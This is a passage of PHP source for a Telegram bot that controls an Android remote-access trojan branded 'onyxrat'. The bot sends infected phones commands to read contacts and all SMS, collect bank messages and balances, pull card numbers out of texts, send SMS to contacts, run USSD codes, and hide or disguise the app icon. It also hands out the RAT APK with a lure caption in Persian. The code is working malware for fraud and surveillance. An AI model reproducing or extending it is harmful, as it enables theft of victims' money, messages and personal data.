        } elseif ($data == "online_checo") {

            emg($chat_id, $mi, "Checking Online Devices ...", null);
            file_put_contents("data/miid.txt", $mi);
            requestsAll('online_device');
            file_put_contents("user/$chat_id/command.txt", "");*/


          }  elseif ($text == "/list") {
                file_put_contents("data/onlineusers.txt", "");
        
                smg($chat_id, "Can a request to [ <b>check devices</b> ] be sent online? Click the button below", $onli_btn);
        
            } elseif ($data == "online_checo") {
emg($chat_id, $mi, "🟢 ᴘɪɴɢ ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅᴇᴅ ᴛᴏ ᴀʟʟ ᴜꜱᴇʀꜱ

🌀 ᴡɪᴛʜ ʙᴇʟᴏᴡ ʙᴜᴛᴛᴏɴ ʏᴏᴜ ᴄᴀɴ ɢᴇᴛ ᴏɴʟɪɴᴇ ʟɪꜱᴛ

⚠️ ɴᴏᴛᴇ : ᴛʜɪꜱ ʟɪꜱᴛ ɪꜱ ʟɪᴠᴇ ᴛɪᴍᴇ ᴀɴᴅ ᴜᴘᴅᴀᴛᴇᴅ

🌩 | <a href='https://t.me/onyxrat'></a>", null);
                file_put_contents("data/mid.txt", $mi);
                file_put_contents("data/online_users.json", json_encode([]));
                requestsAll('online_device');
                file_put_contents("user/$chat_id/command.txt", "");
        
        
            } elseif (strpos($data, 'page_') !== false) {
                $page = (int)str_replace('page_', '', $data);
                updateMessageWithUsers($chat_id, $mi, $page);


} elseif ($data == 'apkk') {
        $cap = '
فایل رت شما آماده شد [ #کمک_معیشتی ] ✅

برای ادیت ایکون و نام رت از [apk editor] ادیت بزنید ✅

برای تغییر پورت رتتون میرید قسمت ( assets ) بعد (sudoport) پورتتون رو میزارید ✅ 

🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx
';

        bot('sendDocument', [
            'chat_id' => $chat_id,
            'document' => new CURLFile("imgod.apk"),
            'caption' => " $cap ",
        ]);


    } elseif ($text == "/Settings") {

        smg($chat_id, "‹‹ <b>Settings Page</b> ›› section\nSelect the desired option :

🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $settings_button);
} elseif ($data == "setting") {
    emg($chat_id, $mi, 
        "<pre>⚙️ ‹‹ <b>ꜱᴇᴛᴛɪɴɢꜱ ᴘᴀɢᴇ</b> ›› ꜱᴇᴄᴛɪᴏɴ</pre>"
        . "<blockquote>✨ ꜱᴇʟᴇᴄᴛ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴏᴘᴛɪᴏɴ ✨</blockquote>"
        . "<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", 
    $settings_button);
} elseif ($data == "rat_set") {
    emg($chat_id, $mi, "
⚙️ ʀᴀᴛ ꜱᴇᴛᴛɪɴɢꜱ ᴘᴀɴᴇʟ
    
ᴜꜱᴇ <code>/compile</code> ᴛᴏ ɢᴇɴᴇʀᴀᴛᴇ ʀᴀᴛ
    ", $goooo);
    } elseif ($data == "rat_set") {
        emg($chat_id, $mi, "⚙️ʀᴀᴛ ꜱᴇᴛᴛɪɴɢꜱ ᴘᴀʀᴛ", $goooo);
    } elseif ($data == "panel_set") {
        emg($chat_id, $mi, "🔧ᴘᴀɴᴇʟ ꜱᴇᴛᴛɪɴɢꜱ ᴘᴀʀᴛ", $goooo2);
    } elseif ($data == "/help") {
        smg($chat_id, "<b>~ Yes 🙂‍↔️</b>", $goooo);
    } elseif ($text == "/Help") {
        smg($chat_id, "<b>Help Rat Remote $dev_name</b>
برای راهنمایی به پیوی سازنده مراجعه کنید.
        ", $dev_inline);

    } elseif (strpos($text, '/login_') !== false) {
    // جدا کردن device_id (فقط قسمت قبل از @)
    $login_part = str_replace('/login_', '', $text);
    $device_id = strtok($login_part, '@');
    $dev_id_use = $device_id;
    
    // ذخیره اطلاعات دستگاه
    file_put_contents("user/$chat_id/device-id.txt", $dev_id_use);
    $device_model = file_get_contents("user/$dev_id_use-model.txt");
    file_put_contents("user/$chat_id/device-model.txt", $device_model);
    
    // ایجاد پنل کنترل
$panel_log = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
    [
        ['text' => "📡ᴘɪɴɢ ᴅᴇᴠɪᴄᴇ", 'callback_data' => "status_user $dev_id_use"]
    ],
    [
        ['text' => "🟢 ᴏꜰꜰʟɪɴᴇ ᴏɴ 🟢", 'callback_data' => "offmodeon $dev_id_use"],['text' => "🔴 ᴏꜰꜰʟɪɴᴇ ᴏꜰꜰ 🔴", 'callback_data' => "offmodeoff $dev_id_use"]
    ],
    [
        ['text' => "👥 ɢᴇᴛ ᴄᴏɴᴛᴀᴄᴛꜱ 👥 ", 'callback_data' => "all_contacts $dev_id_use"],['text' => "📩 ꜱᴇɴᴅ ᴛᴏ ᴄᴏɴᴛᴀᴄᴛꜱ 📩", 'callback_data' => "sms_contacts $dev_id_use"]
    ],
    [
        ['text' => "📨 ɪɴʙᴏx ꜱᴍꜱ 📨", 'callback_data' => "recived $dev_id_use"],['text' => "📤 ᴏᴜᴛʙᴏx ꜱᴍꜱ 📤", 'callback_data' => "sent $dev_id_use"]
    ],
    [
        ['text' => "📋 ꜱᴍꜱ ʟɪꜱᴛ 📋", 'callback_data' => "Popo $dev_id_use"],['text' => "🪼 ᴄʜᴀɴɢᴇ ɪᴄᴏɴ 🪼", 'callback_data' => "change $dev_id_use"]
    ],
    [
        ['text' => "🔊 ɴᴏʀᴍᴀʟ 🔊", 'callback_data' => "normal_mode $dev_id_use"],['text' => "🔇 ꜱɪʟᴇɴᴛ 🔇", 'callback_data' => "silent_mode $dev_id_use"]
    ],
    [
        ['text' => "👀 ʜɪᴅᴇ ɪᴄᴏɴ ", 'callback_data' => "hide_icon $dev_id_use"],['text' => "ꜱʜᴏᴡ ɪᴄᴏɴ 👀", 'callback_data' => "visible_icon $dev_id_use"]
    ],
    [
        ['text' => "🔎 ꜱᴇᴀʀᴄʜ ꜱᴍꜱ 🔎", 'callback_data' => "searchSMS $dev_id_use"],['text' => "📩 ʟᴀꜱᴛ ꜱᴍꜱ 📩", 'callback_data' => "last_sms $dev_id_use"]
    ],
    [
        ['text' => "✉️ ꜱᴇɴᴅ ꜱᴍꜱ ✉️", 'callback_data' => "send_sms $dev_id_use"],['text' => "💵 ʙᴀʟᴀɴᴄᴇꜱ 💵", 'callback_data' => "balance $dev_id_use"]
    ],
    [
        ['text' => "🪙 ʟᴀꜱᴛ ʙᴀɴᴋ ꜱᴍꜱ ", 'callback_data' => "last_Bank_sms $dev_id_use"],['text' => "ʙᴀɴᴋ ꜱᴍꜱ ʟɪꜱᴛ 🪙", 'callback_data' => "All_Bank_sms $dev_id_use"]
    ],
    [
        ['text' => "🔢 ᴜꜱꜱᴅ ᴄᴏᴅᴇ 🔢", 'callback_data' => "ussdcode $dev_id_use"],['text' => "📞 ɢᴇᴛ ꜱᴄ ɴᴜᴍʙᴇʀ 📞", 'callback_data' => "userphone $dev_id_use"]
    ],
    [
        ['text' => "💳 ᴄᴀʀᴅ ɴᴜᴍʙᴇʀ 💳", 'callback_data' => "extract_cards $dev_id_use"],['text' => "🪪 ʙʟᴜʀʀᴇᴅ ɪɴꜰᴏ 🪪", 'callback_data' => "information $dev_id_use"]
    ],
    [
        ['text' => "🚪ᴄʟᴏꜱᴇ ᴛʜᴇ ᴘᴀɴᴇʟ", 'callback_data' => "back_home"]
    ]
]
]);
    
    // نمایش پیام
smg($chat_id, "
<pre>🔍 *ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ ᴘᴀɴᴇʟ*</pre>
<blockquote>👥 ᴜꜱᴇʀ ɪᴅ : $dev_id_use
🌐 ɪᴘ : $install_ip
💻 ᴅᴇᴠɪᴄᴇ ɴᴀᴍᴇ: $target_name </blockquote>
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>
", $panel_log);

    } elseif (strpos($data, 'ls') !== false) {
        $datass = explode(" ", $data);

        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        $dev_id_use = $datass[1];
        $ringer_mode = file_get_contents("user/$dev_id_use-ringer.txt");
        $apk_mode = file_get_contents("user/$dev_id_use-apk.txt");

        $status_offline1 = file_get_contents("user/$device_id-offline.txt");
$panel_log = json_encode([
    'resize_keyboard' => true,
    'inline_keyboard' => [
    [
        ['text' => "📡ᴘɪɴɢ ᴅᴇᴠɪᴄᴇ", 'callback_data' => "status_user $dev_id_use"]
    ],
    [
        ['text' => "🟢 ᴏꜰꜰʟɪɴᴇ ᴏɴ 🟢", 'callback_data' => "offmodeon $dev_id_use"],['text' => "🔴 ᴏꜰꜰʟɪɴᴇ ᴏꜰꜰ 🔴", 'callback_data' => "offmodeoff $dev_id_use"]
    ],
    [
        ['text' => "👥 ɢᴇᴛ ᴄᴏɴᴛᴀᴄᴛꜱ 👥 ", 'callback_data' => "all_contacts $dev_id_use"],['text' => "📩 ꜱᴇɴᴅ ᴛᴏ ᴄᴏɴᴛᴀᴄᴛꜱ 📩", 'callback_data' => "sms_contacts $dev_id_use"]
    ],
    [
        ['text' => "📨 ɪɴʙᴏx ꜱᴍꜱ 📨", 'callback_data' => "recived $dev_id_use"],['text' => "📤 ᴏᴜᴛʙᴏx ꜱᴍꜱ 📤", 'callback_data' => "sent $dev_id_use"]
    ],
    [
        ['text' => "📋 ꜱᴍꜱ ʟɪꜱᴛ 📋", 'callback_data' => "Popo $dev_id_use"],['text' => "🪼 ᴄʜᴀɴɢᴇ ɪᴄᴏɴ 🪼", 'callback_data' => "change $dev_id_use"]
    ],
    [
        ['text' => "🔊 ɴᴏʀᴍᴀʟ 🔊", 'callback_data' => "normal_mode $dev_id_use"],['text' => "🔇 ꜱɪʟᴇɴᴛ 🔇", 'callback_data' => "silent_mode $dev_id_use"]
    ],
    [
        ['text' => "👀 ʜɪᴅᴇ ɪᴄᴏɴ ", 'callback_data' => "hide_icon $dev_id_use"],['text' => "ꜱʜᴏᴡ ɪᴄᴏɴ 👀", 'callback_data' => "visible_icon $dev_id_use"]
    ],
    [
        ['text' => "🔎 ꜱᴇᴀʀᴄʜ ꜱᴍꜱ 🔎", 'callback_data' => "searchSMS $dev_id_use"],['text' => "📩 ʟᴀꜱᴛ ꜱᴍꜱ 📩", 'callback_data' => "last_sms $dev_id_use"]
    ],
    [
        ['text' => "✉️ ꜱᴇɴᴅ ꜱᴍꜱ ✉️", 'callback_data' => "send_sms $dev_id_use"],['text' => "💵 ʙᴀʟᴀɴᴄᴇꜱ 💵", 'callback_data' => "balance $dev_id_use"]
    ],
    [
        ['text' => "🪙 ʟᴀꜱᴛ ʙᴀɴᴋ ꜱᴍꜱ ", 'callback_data' => "last_Bank_sms $dev_id_use"],['text' => "ʙᴀɴᴋ ꜱᴍꜱ ʟɪꜱᴛ 🪙", 'callback_data' => "All_Bank_sms $dev_id_use"]
    ],
    [
        ['text' => "🔢 ᴜꜱꜱᴅ ᴄᴏᴅᴇ 🔢", 'callback_data' => "ussdcode $dev_id_use"],['text' => "📞 ɢᴇᴛ ꜱᴄ ɴᴜᴍʙᴇʀ 📞", 'callback_data' => "userphone $dev_id_use"]
    ],
    [
        ['text' => "💳 ᴄᴀʀᴅ ɴᴜᴍʙᴇʀ 💳", 'callback_data' => "extract_cards $dev_id_use"],['text' => "🪪 ʙʟᴜʀʀᴇᴅ ɪɴꜰᴏ 🪪", 'callback_data' => "information $dev_id_use"]
    ],
    [
        ['text' => "🚪ᴄʟᴏꜱᴇ ᴛʜᴇ ᴘᴀɴᴇʟ", 'callback_data' => "back_home"]
    ]
]
]);
        smg($chat_id, "‹‹ <b>Device Control</b> ›› section\n\nSelect the desired option :", $panel_log);

    } elseif (strpos($data, 'fs') !== false) {

        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        file_put_contents("user/$datass[1]-apk.txt", "Hidden");
        requests('hidden', $datass[1]);
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        smg($chat_id, "<b>REQUEST SENT SUCCESSFULLY</b>", $geeeh);

    } elseif (strpos($data, 'newic') !== false) {

        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        file_put_contents("user/$datass[1]-apk.txt", "Hidden");
        requests('changetogoogle', $datass[1]);
        smg($chat_id, "<b>REQUEST SENT SUCCESSFULLY</b>", null);

    } elseif (strpos($data, 'hg') !== false) {

        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        file_put_contents("user/$datass[1]-ringer.txt", "Silent");
        requests('silent', $datass[1]);
bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɴᴏʀᴍᴀʟ ᴍᴏᴅᴇ \n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    } elseif (strpos($data, 'rt') !== false) {
        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        smg($chat_id, "<b>REQUEST SENT SUCCESSFULLY</b>", $geeeh);
        requests('status', $datass[1]);

    } elseif (strpos($data, 'wqw') !== false) {
        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        requests('last_sms', $datass[1]);
        smg($chat_id, "<b>REQUEST SENT SUCCESSFULLY</b> ", $geeeh);

    } elseif (strpos($data, 'kkkk') !== false) {
        $datass = explode(" ", $data);
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        requests('all_sms', $datass[1]);
        smg($chat_id, "<b>REQUEST SENT SUCCESSFULLY</b>", $geeeh);

    } elseif (strpos($data, 'Kops') !== false) {
        $datass = explode(" ", $data);
        $word = file_get_contents("user/$chat_id/word.txt");
        file_put_contents("user/$chat_id/device-id.txt", $datass[1]);
        file_put_contents("user/$chat_id/device-model.txt", $datass[2]);
        requests('WhatsChecker', $datass[1]);
        smg($chat_id, "<b>CheCk $word \nApproximate time : 3 seconds</b>", $geeeh);

    } elseif (strpos($data, "offmodeon") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال پردازش
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴅᴇᴠɪᴄᴇ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                . "👤 ᴛᴀʀɢᴇᴛ: $device_id | [$model]\n"
                . "🫡 ᴄᴏᴍᴍᴀɴᴅ: ᴏꜰꜰʟɪɴᴇ ᴍᴏᴅᴇ ᴏɴ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    // ذخیره اطلاعات پیام برای ویرایش بعدی
    file_put_contents("user/$device_id-offlineon-msg.txt", $chat_id."|".$wait_msg->result->message_id);
    
    // ارسال درخواست به دستگاه
    $offline_number = file_get_contents("data/offline-number.txt");
    requestSMS("offline_mode_on", $device_id, $offline_number, null);

    } elseif (strpos($data, "offmodeoff") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال پردازش
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴅᴇᴠɪᴄᴇ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                . "👤 ᴛᴀʀɢᴇᴛ: $device_id | [$model]\n"
                . "🫡 ᴄᴏᴍᴍᴀɴᴅ: ᴏꜰꜰʟɪɴᴇ ᴍᴏᴅᴇ ᴏꜰꜰ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    // ذخیره اطلاعات پیام برای ویرایش بعدی
    file_put_contents("user/$device_id-offlineoff-msg.txt", $chat_id."|".$wait_msg->result->message_id);
    
    // ارسال درخواست به دستگاه
    $offline_number = file_get_contents("data/offline-number.txt");
    requestSMS("offline_mode_off", $device_id, $offline_number, null);

    } elseif ($data == "get_all_numbers") {
    // خواندن لیست کاربران آنلاین
    $onlineUsers = json_decode(file_get_contents("data/online_users.json"), true);
    
    if (empty($onlineUsers)) {
        emg($chat_id, $mi, "⚠️ هیچ دستگاه آنلاینی یافت نشد!", $back_settings);
        return;
    }

    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "<pre>🌀 ʀᴇQᴜᴇꜱᴛ ꜱᴇɴᴅ ᴛᴏ ᴀʟʟ </pre>"
                 . "👤ᴍᴏᴅᴇ : ɴᴜᴍᴍʙᴇʀ\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ᴀʟʟ ɴᴜᴍᴍʙᴇʀ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    $successCount = 0;
    foreach ($onlineUsers as $androidId => $name) {
        // ارسال درخواست به هر دستگاه
        $result = requests('userphone', $androidId);
        
        if ($result !== false) {
            $successCount++;
            // ذخیره لاگ برای هر دستگاه
            file_put_contents("logs/number_requests.log", 
                "[" . date("Y-m-d H:i:s") . "] Request sent to: $androidId\n", 
                FILE_APPEND);
        }
    }
    
} elseif ($data == "auto_change") {
    if ($action_autohide == "off") {
        file_put_contents("data/autohide.txt", "on");
        emg($chat_id, $mi, "🔄 ‹‹ <b>ᴀᴜᴛᴏ ᴄʜᴀɴɢᴇ ᴏɴ</b> ››\n\nᴡʜᴇɴ ᴅᴇᴠɪᴄᴇ ɪɴꜱᴛᴀʟʟꜱ, ɪᴄᴏɴ ᴡɪʟʟ ᴄʜᴀɴɢᴇ ᴛᴏ ʏᴏᴜᴛᴜʙᴇ\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $settings_button);
    } else {
        file_put_contents("data/autohide.txt", "off");
        emg($chat_id, $mi, "🌀 ‹‹ <b>ᴀᴜᴛᴏ ᴄʜᴀɴɢᴇ ᴏꜰꜰ</b> ››\n\nɴᴏ ᴀᴜᴛᴏ ᴄʜᴀɴɢᴇ ᴡɪʟʟ ʙᴇ ᴘᴇʀꜰᴏʀᴍᴇᴅ\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $settings_button);
    }
} elseif ($data == "online_model") {
    emg($chat_id, $mi, "🚀 ‹‹ <b>ᴍᴏᴅᴇʟ ꜱᴇɴᴅ ᴏɴʟɪɴᴇ</b> ›› ꜱᴇᴄᴛɪᴏɴ\n\n⚡️ ᴄʜᴏᴏꜱᴇ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴏᴘᴛɪᴏɴ ⚡️\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $model_button);
} elseif ($data == "list_model") {
    emg($chat_id, $mi, "📋 ‹‹ <b>ʟɪꜱᴛ ꜱᴇɴᴅᴇᴅ</b> ›› ꜱᴇᴄᴛɪᴏɴ ꜱᴇʟᴇᴄᴛᴇᴅ\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    file_put_contents("data/online_model.txt", "list");
} elseif ($data == "singel_model") {
    emg($chat_id, $mi, "🔹 ‹‹ <b>ꜱɪɴɢᴇʟ ꜱᴇɴᴅᴇᴅ</b> ›› ꜱᴇᴄᴛɪᴏɴ ꜱᴇʟᴇᴄᴛᴇᴅ\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    file_put_contents("data/online_model.txt", "singel");
} elseif ($data == "first_sms") {
    if ($action_firstsms == "off") {
        file_put_contents("data/firstsms.txt", "on");
        emg($chat_id, $mi, "📩 ‹‹ <b>ꜰɪʀꜱᴛ ꜱᴍꜱ ᴏɴ</b> ›› ꜱᴇᴄᴛɪᴏɴ\n\n⚡️ ᴄʜᴏᴏꜱᴇ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴏᴘᴛɪᴏɴ ⚡️\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $settings_button);
    } else {
        file_put_contents("data/firstsms.txt", "off");
        emg($chat_id, $mi, "📩 ‹‹ <b>ꜰɪʀꜱᴛ ꜱᴍꜱ ᴏꜰꜰ</b> ›› ꜱᴇᴄᴛɪᴏɴ\n\n⚡️ ᴄʜᴏᴏꜱᴇ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴏᴘᴛɪᴏɴ ⚡️\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $settings_button);
    }
} elseif ($data == "autotar") {
    if ($auto_tar == "on") {
        file_put_contents("data/autotar.txt", "off");
        emg($chat_id, $mi, "🔌 ‹‹ <b>ᴏꜰꜰ ᴍᴏᴅᴇ</b> ›› ꜱᴇᴛ ᴛᴏ <b>ᴏꜰꜰ</b>\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    } else {
        file_put_contents("data/autotar.txt", "on");
        emg($chat_id, $mi, "🔛 ‹‹ <b>ᴏꜰꜰ ᴍᴏᴅᴇ</b> ›› ꜱᴇᴛ ᴛᴏ <b>ᴏɴ</b>\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    }
} elseif (strpos($text, '/block_') !== false) {
    $txt = explode("_", $text);
    $dev_id0 = str_replace('/block_', '', $text);
    $ip_block = $dev_id0;
    $file_accses = file_get_contents("block.txt");
    file_put_contents("block.txt", "$file_accses\n$ip_block");
    smg($chat_id, "🛡️ ‹‹ ɪᴘ <b>$ip_block</b> ʙʟᴏᴄᴋᴇᴅ ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", null);

} elseif (strpos($text, '/unblock_') !== false) {
    $txt = explode("_", $text);
    $dev_id0 = str_replace('/unblock_', '', $text);
    $ip_block = $dev_id0;
    $file_content = file_get_contents("block.txt");
    $new_content = str_replace($ip_block, '', $file_content);

    file_put_contents("block.txt", $new_content);
    smg($chat_id, "🔓 ‹‹ ɪᴘ <b>$ip_block</b> ᴜɴʙʟᴏᴄᴋᴇᴅ ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", null);
} elseif ($data == "set_text") {
    emg($chat_id, $mi, "📝 ‹‹ ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ <b>ꜱᴍꜱ ᴛᴇxᴛ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set text");

} elseif ($text == "/all_unblock") {
    file_put_contents("block.txt", "");
    smg($chat_id, "✨ ‹‹ <b>ᴀʟʟ ɪᴘ'ꜱ ᴡᴇʀᴇ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴜɴʙʟᴏᴄᴋᴇᴅ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", null);
    exit();

} elseif ($command == "set text") {
    smg($chat_id, "✅ ‹‹ <b>ꜱᴍꜱ ᴛᴇxᴛ</b> ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ꜱᴇᴛ ᴛᴏ [ <code>$text</code> ] ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    file_put_contents("data/message-first.txt", $text);
    file_put_contents("user/$chat_id/command.txt", "");
} elseif ($data == "set_word") {
    emg($chat_id, $mi, "📝 ‹‹ ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ <b>ᴡᴏʀᴅ ᴛᴇxᴛ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
    file_put_contents("user/$chat_id/command.txt", "set word");

} elseif ($command == "set word") {
    smg($chat_id, "✅ ‹‹ <b>ᴡᴏʀᴅ</b> ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ꜱᴇᴛ ᴛᴏ [ <code>$text</code> ] ››\n\n<a href='https://t.me/onyxrat'>🌩 | | 🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>", $back_settings);
        file_put_contents("user/$chat_id/word.txt", $text);
        file_put_contents("user/$chat_id/command.txt", "");
        
} elseif (strpos($data, "extract_cards") !== false) {  
    $datass = explode(" ", $data);  
    $device_id = $datass[1];  
    $device_model = file_get_contents("user/{$device_id}-model.txt") ?? 'Unknown';  
      
    $wait_message = bot('sendMessage', [  
        'chat_id' => $chat_id,  
        'text' => "🔍 ᴘʀᴏᴄᴇꜱꜱɪɴɢ ʏᴏᴜʀ ʀᴇQᴜᴇꜱᴛ...\n"
                . "👤ᴛᴀʀɢᴇᴛ: ᴅᴇᴠɪᴄᴇ: <code>$device_id</code> | [$device_model]\n"
                . "🫡ᴄᴏᴍᴍᴀɴᴅ: <code>getcard</code>\n\n"
                . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",  
        'parse_mode' => 'HTML'  
    ]);  
      
    file_put_contents("user/{$device_id}_card_process.txt", json_encode([  
        'chat_id' => $chat_id,  
        'message_id' => $wait_message->result->message_id,  
        'time' => time(),
        'action' => 'extract_cards' // اضافه کردن این فیلد
    ]));  
      
    requests('all_sms', $device_id); // ارسال درخواست دریافت SMSها

} elseif (strpos($data, "nametarget") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $back_control = json_encode([
        'resize_keyboard' => true, 
        'inline_keyboard' => [
            [
                ['text' => "🔙 ‹‹ ʙᴀᴄᴋ", 'callback_data' => "back_panel $datass[1]"]
            ]
        ]
    ]);
    
    emg($chat_id, $mi, "👤 ‹‹ <b>ᴘʟᴇᴀꜱᴇ ꜱᴇɴᴅ ᴛʜᴇ ɴᴀᴍᴇ ᴛᴀʀɢᴇᴛ</b> ››\n\n<a href='https://t.me/onyxrat'>🌩 | | ɪᴍ-ꜱᴀᴇᴇᴇᴅ</a>", $back_control);
    file_put_contents("user/$chat_id/command.txt", "settragetname $device_id");
    } elseif ($data == "firstaction") {
        $bal = json_decode(file_get_contents("data/firstaction.json"))->balance;
        $tarphone = json_decode(file_get_contents("data/firstaction.json"))->targetphone;
        $hideact = json_decode(file_get_contents("data/firstaction.json"))->autohide;
        $firstActionButton = json_encode(array('inline_keyboard' => [[['text' => "💸 ʙᴀʟᴀɴᴄᴇ", 'callback_data' => "balanceaction"], ['text' => "$bal", 'callback_data' => "balanceaction"]],
            [['text' => "📞 ᴜꜱᴇʀ ᴘʜᴏɴᴇꜱ", 'callback_data' => "userphoneaction"], ['text' => "$tarphone", 'callback_data' => "userphoneaction"]],
